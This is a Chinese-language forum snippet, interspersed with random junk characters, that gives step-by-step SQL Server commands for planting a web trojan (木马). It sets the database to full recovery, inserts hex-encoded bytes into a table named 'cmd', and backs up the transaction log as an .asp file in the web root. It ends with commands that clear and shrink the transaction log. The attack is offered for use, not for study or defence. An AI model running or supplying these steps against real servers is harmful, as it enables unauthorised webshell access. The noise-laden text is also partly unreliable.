select * from master.dbo.sysdatabases 列出所有列的记录
: B& }6 Z! p6 M) O5 Y& I( C, S$ E - R) h4 m3 @# |8 P$ ^, f
select name from master.dbo.sysdatabases 仅列出name列的记录
9 s" p0 W5 s! X9 P, v8 D2 F7 f# i" T E- L# A5 i$ I- Q
注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份+ q0 @4 o+ F' ]3 m0 @8 r9 p
: P3 v: ~; Q2 A T5 k% galter database 数据库名 set RECOVERY FULL--
j; B) R: g+ g2 P* b$ }( N* q& I7 y( @, T5 `
create table cmd (a image)-- \**cmd是创建的临时表
4 S$ h% u- | h0 k0 q* ^0 V" |( M; x8 z' A
backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--
' F% Z8 C5 m7 s0 V t2 b. k
7 e- D; f- b+ h; c/ oinsert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--& W7 s7 `+ C5 }+ W0 R( w" w" d$ i
! w3 o. S0 d; D3 J3 {& @* Q//木马存放路径(转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个)
7 B( u5 ?" z o+ y4 y" v. k
. Y5 r$ K% Q, S2 `. j3 w+ nbackup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)
: b8 w3 Z8 t3 q$ }' h* H/ |7 m
' L" Q4 u! q m$ z& w2 ^% K( odrop table cmd--4 K4 e* l. _7 s. E0 {6 y
! |' {7 u# A C$ D1 @# x
* `. t# q/ [# e5 D, r) d: w! Pf:\
4 A& d% P8 B# @! s0 Z4 K16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)
% Y) y' U) x4 B! c5 W2 O: M
% N- P. Q+ p- E5 R) b最好多加几个回车0d0a,要不会出错哈
/ b. s! Y7 j/ Q. P' Z
, |8 X/ u+ J5 c$ N0 P: @, W. D2 R; T" h% V! _% e( @" W- d
SQL Server日志清空方法 ; M" g. ^/ P1 x! I/ M! a5 ^4 F3 l
. r4 H9 w! k% ~" I6 t2 T' d
在查询分析器中顺序执行以下三步,其中 databasename 为你的数据库文件名
) I- R$ V/ c$ {1 B! H$ o# {1.清空日志:DUMP TRANSACTION databasename WITH NO_LOG $ J: }0 l: I" V% r4 H
; G1 p" g% L7 U6 E9 @ ]
2.截断事务日志:BACKUP LOG databasename WITH NO_LOG ; c( ?9 ?/ j8 n4 Z [
* a) E0 h- C5 \& _) \4 @- n
3.收缩数据库:DBCC SHRINKDATABASE(databasename)
1 v3 d5 p9 V) ]# G |